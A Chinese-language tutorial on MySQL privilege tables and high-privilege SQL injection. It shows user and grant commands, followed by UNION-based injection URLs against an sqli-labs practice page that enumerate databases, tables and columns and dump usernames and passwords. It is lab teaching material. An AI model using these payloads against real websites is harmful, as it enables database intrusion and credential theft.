SQL注入之高权限注入(三)

SQL注入之高权限注入(三)

在数据库中区分数据库系统用户和数据库普通用户

MySQL中存在控制权限的表,分别为user,db,tables_priv,columns.priv表

User表:

存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限

Db表:

存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库

Tables_priv表:

存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表

Columns_priv表:

存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段

Procs_priv表:

存放存储过程和函数级别的权限

查看MySQL有哪些用户

复制代码
select user,host from mysql.user;

查看用户对应权限

复制代码
select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有

创建用户

复制代码
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
create user 'test1'@'localhost' identified by '123456';
identified by '123456';设置密码

把普通用户变成管理员

复制代码
GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION; 

删除用户

复制代码
drop user finley@'localhost';

只提供id查询权限

复制代码
grant select(id) on test.temp to test1@'localhost' identified by '123456'; 
grant select(id) on test.users to test1@'localhost' identified by '123456' 

在 MySQL 数据库中为用户 'test1'@'localhost' 授予对表 temp 中 id 列的 SELECT 权限, 同时为用户设置密码 '123456'

select * from users; 会报错

select id from users;不会报错

当前用户必须是root,高权限,不然不能跨库查询

复制代码
查看当前服务器网络的所有数据库: schema_name,schemata
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata 
查看数据库test中,有哪些表,
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test'
查看表中的字段名
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users';
查看数据
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(username,'~',password) from users

http://localhost/sql/Less-2/?id=-1 union select 1,2,group_concat(name,'~',pass) from test.users
相关推荐
计算机毕设VX:Fegn08954 小时前
计算机毕业设计|基于springboot + vue医院设备管理系统(源码+数据库+文档)
数据库·vue.js·spring boot·后端·课程设计
Mr__Miss4 小时前
保持redis和数据库一致性(双写一致性)
数据库·redis·spring
Knight_AL5 小时前
Spring 事务传播行为 + 事务失效原因 + 传播行为为什么不用其他模式
数据库·sql·spring
倔强的石头_5 小时前
时序数据时代的“存储与分析困局”解析及金仓解决方案
数据库
计算机毕设VX:Fegn08955 小时前
计算机毕业设计|基于springboot + vue小型房屋租赁系统(源码+数据库+文档)
数据库·vue.js·spring boot·后端·课程设计
倔强的石头_6 小时前
场景化落地指南——金仓时序数据库在关键行业的应用实践
数据库
SelectDB6 小时前
驾驭 CPU 与编译器:Apache Doris 实现极致性能的底层逻辑
运维·数据库·apache
zbguolei6 小时前
MySQL根据身份证号码计算出生日期和年龄
数据库·mysql
马克学长7 小时前
SSM校园图书借阅服务系统jd2z8(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·图书管理系统·ssm 框架·ssm 校园图书借阅系统
软件派7 小时前
高斯数据库使用心得——从性能优化到行业实践的深度解析
数据库·oracle